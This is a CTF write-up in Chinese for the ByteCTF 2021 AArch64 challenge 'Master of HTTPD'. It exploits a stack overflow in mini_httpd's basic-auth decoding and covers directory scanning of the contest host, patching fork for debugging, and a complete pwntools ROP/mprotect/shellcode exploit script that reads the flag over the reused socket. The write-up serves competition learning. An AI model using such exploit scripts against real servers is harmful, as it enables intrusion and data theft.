ByteCTF 2021 AArch64 Pwn Master of HTTPD

AArch64:libc2.27:ubuntu18.04,题目是在mini_httpd的baisc认证处塞了个栈溢出,远程不是qemu-user,应该是真机,所以不能直接ret2shellcode。故必须要ROP,使用AArch64通用gadget调用mprotect,再shellcode即可。

简要过程:

  1. 没开canary,所以找危险函数,马上就找到了memcpy,不过需要有basic认证才能触发
  2. 使用web扫描工具扫描到admin目录,访问即可触发basic认证,进而触发栈溢出
  3. 本地qemu可以直接ret2shellcode,远程看起来是真机,有NX,需要rop
  4. 但由于qemu模拟看不到正确的内存布局,也很难leak,故猜测有可用固定地址的内存
  5. 然后直接用树莓派刷了18.04测的,果然HTTP请求在data段有保留
  6. 所以通用gadget去mprotect然后shellcode
  7. 因为太久不做忘了mprotect的got没有初始化不能直接使用通用gadget去调用
  8. 所以先把mprotect的plt地址送到一个全局地址(树莓派调试),然后通用gadget即可
  9. shellcode采用了pwntools的复用socket直接回传flag

漏洞发现

因为mini_httpd是开源的:http://www.acme.com/software/mini_httpd/,所以有同学编译完bindiff就发现了溢出点,不过我这次比较幸运,看了没开canary:

  checksec ./mini_httpd
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

就把危险函数挨个都看了一遍,什么read,scanf,sprintf,strcpy等,最后看到memcpy时赫然一个可能的栈溢出摆在面前:

CTF为了方便可能是read,memcpy这种,真漏洞还是多出在字符串处理函数上

__int64 __fastcall sub_4046D0(void *src, int a2)
{
  char v3[256]; // [xsp+20h] [xbp+20h] BYREF

  memcpy(v3, src, a2);
  return puts(v3);
}

往上跟几个函数,再对着源码找到这是basic认证处,发现这的确是后加的溢出点,传入的长度显然是base64解码后的长度:

sub_4046D0(src, 3 * a3 / 4 + 1);

看起来就是用户可控的,所以这个洞我是没用bindiff两分钟就看到了,这也是最近CTF给我的一个经验,能快先快,什么trick,常规非预期,猜,蒙。黄宏说:那是实在不行了,男女才一样(才正常慢慢解)。

漏洞触发

但是正常访问题目没有给你basic认证的机会,看源码能看出来只有目录下有.htpasswd文件时,才会认证,远程直接访问也看不出来有啥目录,本地尝试构造一个目录并添加.htpasswd的确会提示登录,所以Web扫描器扫一下远程:

  python3 dirsearch.py -u http://47.94.131.70:30002/  -e php 

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5999

Target: http://47.94.131.70:30002/

[20:38:45] Starting: 
[20:38:51] 302 -  498B  - /admin  ->  /admin/
[20:38:51] 401 -  501B  - /admin/
[20:38:51] 401 -  501B  - /admin/?/login
CTRL+C detected: Pausing threads, please wait...

原来远程admin是需要登录的,所以本地调试的时候也新建一个admin.htpasswd即可:

➜  mkdir admin
➜  touch ./admin/.htpasswd

测试远程只要有Authorization: Basic字段就无返回了,所以还是要测本地,可以使用qemu模拟运行:

  sudo qemu-aarch64 -L /usr/aarch64-linux-gnu ./mini_httpd
bind: Address already in use
./mini_httpd: started as root without requesting chroot()

   sudo netstat -pantu | grep 80                               
tcp6       0      0 :::80     :::*        LISTEN      101411/qemu-aarch64 
  curl http://127.0.0.1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>Index of ./</title>

其中动态链接库可以安装相应交叉编译工具链即可获得:

参考:IoT安全研究视角的交叉编译

  sudo apt install gcc-aarch64-linux-gnu

可见执行完qemu没有卡住,所以这显然是有fork,想调试可以patch,也可以使用-D参数让他不fork:

➜  sudo qemu-aarch64 -L /usr/aarch64-linux-gnu ./mini_httpd -D    
bind: Address already in use
./mini_httpd: started as root without requesting chroot(), warning only

两种办法之前都写过:

但这个 -D 就算加上了还是无法断到溢出点,因为还有没法直接关的fork,所以如果纯软件模拟,就是patch或者hook调fork函数,patch简单,在fork的plt处下手:

.plt:0000000000401AD0 ; __pid_t fork(void)
.plt:0000000000401AD0 .fork             ; CODE XREF: sub_404830:loc_404E14p
.plt:0000000000401AD0                   ; sub_404830:loc_404EFCp ...
.plt:0000000000401AD0 D0 00 00 F0       ADRP            X16, #off_41C0A0@PAGE
.plt:0000000000401AD4 11 52 40 F9       LDR             X17, [X16,#off_41C0A0@PAGEOFF]
.plt:0000000000401AD8 10 82 02 91       ADD             X16, X16, #off_41C0A0@PAGEOFF
.plt:0000000000401ADC 20 02 1F D6       BR              X17

只需要把前两句需要修改成:

>>> from pwn import *
>>> context(arch='aarch64')
>>> asm("mov x0,0").hex()
'000080d2'
>>> asm("ret").hex()
'c0035fd6'

结果如下:

.plt:0000000000401AD0 ; __pid_t fork(void)
.plt:0000000000401AD0 .fork              ; CODE XREF: sub_404830:loc_404E14p
.plt:0000000000401AD0                    ; sub_404830:loc_404EFCp ...
.plt:0000000000401AD0 00 00 80 D2        MOV             X0, #0
.plt:0000000000401AD4 C0 03 5F D6        RET

patch保存后重新启动:

  sudo qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./mini_httpd 

burp发一个认证base64很长的包:

GET /admin/ HTTP/1.1
Host: 192.168.0.111
Authorization: Basic YWRtaW46YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh

挂上调试器,成功控制流劫持:

  gdb-multiarch -q 
pwndbg> set architecture aarch64
pwndbg> set endian little 
pwndbg> target remote :1234
pwndbg> c
*X29  0x6161616161616161 ('aaaaaaaa')
*SP   0x40007f6200 ◂— 'aaaaaaaaaaaaaa'
*PC   0x6161616161616161 ('aaaaaaaa')
────────────[ DISASM ]───────────────
Invalid address 0x6161616161616161

漏洞缓解

正好比赛结束当晚听张银奎老师的课《在调试器下理解ARMv8》提到了这个点,比赛时打控制流劫持其实都没注意。

这里的确是个栈溢出,可以尝试发送过长的baisc认证数据也的确会控制流劫持,但其实AArch64也就是armv8其实是对栈溢出在指令层面做了一个小小的缓解,仔细看这个溢出点的汇编:

.text:00000000004046D0 FD 7B AE A9        STP      X29, X30, [SP,#var_120]!
.text:00000000004046D4 FD 03 00 91        MOV      X29, SP
.text:00000000004046D8 F3 0B 00 F9        STR      X19, [SP,#0x120+var_110]
.text:00000000004046DC B3 83 00 91        ADD      X19, X29, #0x20 ; ' '
.text:00000000004046E0 22 7C 40 93        SXTW     X2, W1  ; n
.text:00000000004046E4 E1 03 00 AA        MOV      X1, X0  ; src
.text:00000000004046E8 E0 03 13 AA        MOV      X0, X19 ; dest
.text:00000000004046EC A9 F4 FF 97        BL       .memcpy
.text:00000000004046F0 E0 03 13 AA        MOV      X0, X19 ; s
.text:00000000004046F4 83 F5 FF 97        BL       .puts
.text:00000000004046F8 F3 0B 40 F9        LDR      X19, [SP,#0x120+var_110]
.text:00000000004046FC FD 7B D2 A8        LDP      X29, X30, [SP+0x120+var_120],#0x120
.text:0000000000404700 C0 03 5F D6        RET
  1. X30也就是LR寄存器是保存在当前函数的栈帧顶部,栈溢出无法溢出本函数的返回地址
  2. 但是栈作为函数的行囊,返回地址仍在其中,只是位置有所偏差,所以只要溢出够长,即可覆盖父函数的返回地址
  3. 所以当前发生栈溢出的函数是可以正常返回的,但如果回到父函数后,父函数使用被破坏的FP寄存器,并仍然用栈上的数据做一些操作而没有马上返回,其更大的概率是崩溃而不是控制流劫持

本题中溢出后,父函数就直接返回了,所以可做:

sub_4046D0(src, 3 * a3 / 4 + 1);
return (unsigned int)v7;

我们可以将断点打在漏洞函数返回处,0x404700,然后发送payload并观察:

*PC   0x404700 ◂— ret     /* 0xa9be7bfdd65f03c0 */
────────────────────[ DISASM ]────────────────────
  0x404700    ret    
    
   0x404820    mov    w0, w19
   0x404824    ldr    x19, [sp, #0x10]
   0x404828    ldp    x29, x30, [sp], #0x20
   0x40482c    ret    

然后将断点打在父函数ret处,发现的确是父函数最终帮助我们完成的控制流劫持:

*PC   0x40482c ◂— ret     /* 0xd2853c10d65f03c0 */
────────────────────[ DISASM ]────────────────────
   0x404820    mov    w0, w19
   0x404824    ldr    x19, [sp, #0x10]
   0x404828    ldp    x29, x30, [sp], #0x20
  0x40482c    ret  
pwndbg> i r lr
lr             0x6161616161616161	7016996765293437281

虽然canary基本阻止了栈溢出的利用,但很多底层代码,如芯片ROM,基带,通信模组等很多就是没有canary,原因不详,如:

从这个意义上来讲,这个把返回地址放到函数栈帧的上面的确是一种漏洞的缓解办法。

漏洞利用

因为远程不是qemu,提示写的很清楚:

# env

OS:ubuntu 18.04
Arch:aarch64
libc:2.27

所以天天说qemu-user的不支持NX的,直接ret2shellcode解法就翻车了。必然要ROP了,arm64的ROP不太好找,因为寄存器很多,少有数据直接从栈弹到参数寄存器的指令,另外不像x86可以非对齐错位变出很多可用的指令,所以从控栈到控参数寄存器硬找gadget有些麻烦,至少比arm32要复杂:

并且如果是通过劫持lr以劫持的控制流(如栈溢出),之后想调用其他函数,必须要通过b系列的跳转指令走。因为当lr劫持到一个函数后,函数返回时仍然是返回lr,就转死了,比如通过这个栈溢出直接打到mprotetc上:

from pwn import *
from requests.auth import *
import requests

requests.get('http://192.168.0.111/admin/', auth=HTTPBasicAuth('admin','a'*258+p64(0x401F20)))

把断点打在:0x401f20,然后一直c,就会发现 来时候好好的,回不去了

pwndbg> b * 0x401F20
pwndbg> c
Breakpoint 1, 0x0000000000401f20 in ?? ()

 PC   0x401f20 ◂— adrp   x16, #0x41c000 /* 0xf9416611f00000d0 */
──────────────────[ DISASM ]──────────────────
  0x401f20        adrp   x16, #0x41c000
   0x401f24        ldr    x17, [x16, #0x2c8]
   0x401f28        add    x16, x16, #0x2c8
...
─────────────────[ BACKTRACE ]────────────────
  f 0         0x401f20

pwndbg> i r lr
lr             0x401f20	4202272

pwndbg> c
Continuing.

Breakpoint 1, 0x0000000000401f20 in ?? ()

pwndbg> c
Continuing.

Breakpoint 1, 0x0000000000401f20 in ?? ()

pwndbg> c
Continuing.

Breakpoint 1, 0x0000000000401f20 in ?? ()

pwndbg> i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000000000401f20 
	breakpoint already hit 13 times

正常情况下不会出现因为正常调用函数是b过去的,而不是lr过去的,换句话说,正常情况下,lr不应该返回到函数的开头。x64中不会有转死的这个问题,是因为每次ret的时候自动pop返回地址了,保存返回地址这个元数据的栈中位置已经不可用了,而lr寄存器永久可用。不过通用gadget仍然是可用的,因为其可以b出去:

另外直接本地qemu-user看到的内存布局是坏的:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        0x0 0xffffffffffffffff rwxp ffffffffffffffff 0      [qemu-user]

[QEMU target detected - vmmap result might not be accurate; see `help vmmap`]
pwndbg> 

所以无法正常搜索内存,并且不知道咋修,所以直接用手里的树莓派3B+刷了ubuntu18.04的镜像:

然后直接gdb,连patch fork都省了,树莓派上执行如下:

$ sudo ./mini_httpd 
$ sudo netstat -pantu | grep 80
tcp6       0      0 :::80        :::*        LISTEN      2081/./mini_httpd   

$ sudo gdbserver 0.0.0.0:1234 --attach 2081 
Attached; pid = 2081
Listening on port 1234

gdb-multiarch设置如下:

set architecture aarch64
set follow-fork-mode child 
target remote 192.168.0.107:1234
b * 0x407D9C

此时终于可以好好看内存了:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x40b000 r-xp     b000 0      /home/ubuntu/mini_httpd
          0x41b000           0x41c000 r--p     1000 b000   /home/ubuntu/mini_httpd
          0x41c000           0x41e000 rw-p     2000 c000   /home/ubuntu/mini_httpd
          0x41e000           0x431000 rw-p    13000 0      [anon_0041e]
        0x22dc0000         0x22de1000 rw-p    21000 0      [heap]
    0xffff8ba79000     0xffff8ba90000 r-xp    17000 0      /lib/aarch64-linux-gnu/libpthread-2.27.so
    0xffff8ba90000     0xffff8ba9f000 ---p     f000 17000  /lib/aarch64-linux-gnu/libpthread-2.27.so
    0xffff8ba9f000     0xffff8baa0000 r--p     1000 16000  /lib/aarch64-linux-gnu/libpthread-2.27.so
    0xffff8baa0000     0xffff8baa1000 rw-p     1000 17000  /lib/aarch64-linux-gnu/libpthread-2.27.so
    0xffff8baa1000     0xffff8baa5000 rw-p     4000 0      [anon_ffff8baa1]
    0xffff8baa5000     0xffff8bada000 r-xp    35000 0      /lib/aarch64-linux-gnu/libnss_systemd.so.2
    0xffff8bada000     0xffff8bae9000 ---p     f000 35000  /lib/aarch64-linux-gnu/libnss_systemd.so.2
    0xffff8bae9000     0xffff8baec000 r--p     3000 34000  /lib/aarch64-linux-gnu/libnss_systemd.so.2
    0xffff8baec000     0xffff8baed000 rw-p     1000 37000  /lib/aarch64-linux-gnu/libnss_systemd.so.2
    0xffff8baed000     0xffff8baee000 rw-p     1000 0      [anon_ffff8baed]
    0xffff8baee000     0xffff8baf8000 r-xp     a000 0      /lib/aarch64-linux-gnu/libnss_files-2.27.so
    0xffff8baf8000     0xffff8bb07000 ---p     f000 a000   /lib/aarch64-linux-gnu/libnss_files-2.27.so
    0xffff8bb07000     0xffff8bb08000 r--p     1000 9000   /lib/aarch64-linux-gnu/libnss_files-2.27.so
    0xffff8bb08000     0xffff8bb09000 rw-p     1000 a000   /lib/aarch64-linux-gnu/libnss_files-2.27.so
    0xffff8bb09000     0xffff8bb0f000 rw-p     6000 0      [anon_ffff8bb09]
    0xffff8bb0f000     0xffff8bb21000 r-xp    12000 0      /lib/aarch64-linux-gnu/libnsl-2.27.so
    0xffff8bb21000     0xffff8bb30000 ---p     f000 12000  /lib/aarch64-linux-gnu/libnsl-2.27.so
    0xffff8bb30000     0xffff8bb31000 r--p     1000 11000  /lib/aarch64-linux-gnu/libnsl-2.27.so
    0xffff8bb31000     0xffff8bb32000 rw-p     1000 12000  /lib/aarch64-linux-gnu/libnsl-2.27.so
    0xffff8bb32000     0xffff8bb34000 rw-p     2000 0      [anon_ffff8bb32]
    0xffff8bb34000     0xffff8bb3e000 r-xp     a000 0      /lib/aarch64-linux-gnu/libnss_nis-2.27.so
    0xffff8bb3e000     0xffff8bb4d000 ---p     f000 a000   /lib/aarch64-linux-gnu/libnss_nis-2.27.so
    0xffff8bb4d000     0xffff8bb4e000 r--p     1000 9000   /lib/aarch64-linux-gnu/libnss_nis-2.27.so
    0xffff8bb4e000     0xffff8bb4f000 rw-p     1000 a000   /lib/aarch64-linux-gnu/libnss_nis-2.27.so
    0xffff8bb4f000     0xffff8bb56000 r-xp     7000 0      /lib/aarch64-linux-gnu/libnss_compat-2.27.so
    0xffff8bb56000     0xffff8bb65000 ---p     f000 7000   /lib/aarch64-linux-gnu/libnss_compat-2.27.so
    0xffff8bb65000     0xffff8bb66000 r--p     1000 6000   /lib/aarch64-linux-gnu/libnss_compat-2.27.so
    0xffff8bb66000     0xffff8bb67000 rw-p     1000 7000   /lib/aarch64-linux-gnu/libnss_compat-2.27.so
    0xffff8bb67000     0xffff8bca6000 r-xp   13f000 0      /lib/aarch64-linux-gnu/libc-2.27.so
    0xffff8bca6000     0xffff8bcb6000 ---p    10000 13f000 /lib/aarch64-linux-gnu/libc-2.27.so
    0xffff8bcb6000     0xffff8bcba000 r--p     4000 13f000 /lib/aarch64-linux-gnu/libc-2.27.so
    0xffff8bcba000     0xffff8bcbc000 rw-p     2000 143000 /lib/aarch64-linux-gnu/libc-2.27.so
    0xffff8bcbc000     0xffff8bcc0000 rw-p     4000 0      [anon_ffff8bcbc]
    0xffff8bcc0000     0xffff8bcc7000 r-xp     7000 0      /lib/aarch64-linux-gnu/libcrypt-2.27.so
    0xffff8bcc7000     0xffff8bcd6000 ---p     f000 7000   /lib/aarch64-linux-gnu/libcrypt-2.27.so
    0xffff8bcd6000     0xffff8bcd7000 r--p     1000 6000   /lib/aarch64-linux-gnu/libcrypt-2.27.so
    0xffff8bcd7000     0xffff8bcd8000 rw-p     1000 7000   /lib/aarch64-linux-gnu/libcrypt-2.27.so
    0xffff8bcd8000     0xffff8bd06000 rw-p    2e000 0      [anon_ffff8bcd8]
    0xffff8bd06000     0xffff8bd23000 r-xp    1d000 0      /lib/aarch64-linux-gnu/ld-2.27.so
    0xffff8bd26000     0xffff8bd2a000 rw-p     4000 0      [anon_ffff8bd26]
    0xffff8bd31000     0xffff8bd32000 r--p     1000 0      [vvar]
    0xffff8bd32000     0xffff8bd33000 r-xp     1000 0      [vdso]
    0xffff8bd33000     0xffff8bd34000 r--p     1000 1d000  /lib/aarch64-linux-gnu/ld-2.27.so
    0xffff8bd34000     0xffff8bd36000 rw-p     2000 1e000  /lib/aarch64-linux-gnu/ld-2.27.so
    0xffffc935f000     0xffffc9380000 rw-p    21000 0      [stack]

然后发送一些包含特征串的HTTP请求,再用pwndbg的search就可以定位到输入的确在程序的数据段有残留

  • 使用ROPgadget没有发现svc指令,意味着不能使用纯小gadget的ROP了
  • 发现题目给了mprotect和execve两个libc函数,但由于是真socket的webserver,所以不能直接/bin/sh
  • 故方便的方法就是mprotect+反弹shellcode

使用通用gadget需要给一个类似mprotect的GOT表地址,但此时mprotect的GOT表还没初始化,比赛时这卡了两个小时。甚至还一度想开一个HTTP长连接让他先调一遍mprotect再打栈溢出,后来发现mini_http这破玩意并不支持长连接,源码里 Connection: close 都是写死的:

mini_httpd-1.30/mini_httpd.c

...
(void) snprintf(buf, sizeof(buf), "Connection: close\015\012\015\012" );
add_to_response(buf);
...

后来突然醒攒了,直接把mprotect函数地址直接扔到数据段里就完了,最终地址即exp中的0x4234b0。另外反弹shellcode在本地没试对,采用了复用socket的fd的方式,直接将flag打到当前连过去的tcp连接中,如:

最终exp如下,因为都是地址都是全局的,所以打qemu模拟的也好使:

from pwn import *
import base64
context(log_level='debug',arch='aarch64',endian='little')

def aarch64_libc_csu_init_gadget(func_got,arg1,arg2,arg3,ret):
    x30 = 0x407D74
    x29 = 0x41e000
    x20 = 1
    x22 = arg1
    x23 = arg2
    x24 = arg3
    x21 = func_got
    return flat([0x407D9C,0x11,0x11,x29,x30,0x11,x20,x21,x22,x23,x24,x29,ret])

mprotect_plt   = 0x401F20
mprotect_send  = 0x4234b0
shellcode_addr = 0x4234b8
shellcode      = asm(shellcraft.linux.cat("/flag",6))
rop_gadget     = aarch64_libc_csu_init_gadget(mprotect_send,0x423000,0x1000,7,shellcode_addr)

payload  = b'GET /admin/ HTTP/1.1\n'
payload += b'Host: 192.168.0.111\n'
payload += b'Authorization: Basic '
payload += base64.b64encode(b'a'*264+rop_gadget)
payload += b'\n\n\n'
payload += b'aaa'
payload += p64(mprotect_plt)+shellcode

io = remote("47.94.131.70",30002)
io.send(payload)
io.interactive()

效果如下:

  python3 exp.py 
[+] Opening connection to 47.94.131.70 on port 30002: Done
[*] Switching to interactive mode
ByteCTF{c6c5cae3-2583-42e1-b1b2-5178cbc61b6b}

其实还真是头一次正经做arm64的ROP,翻之前做的 arm64 pwn都是堆的,不用细看汇编:

其他WP: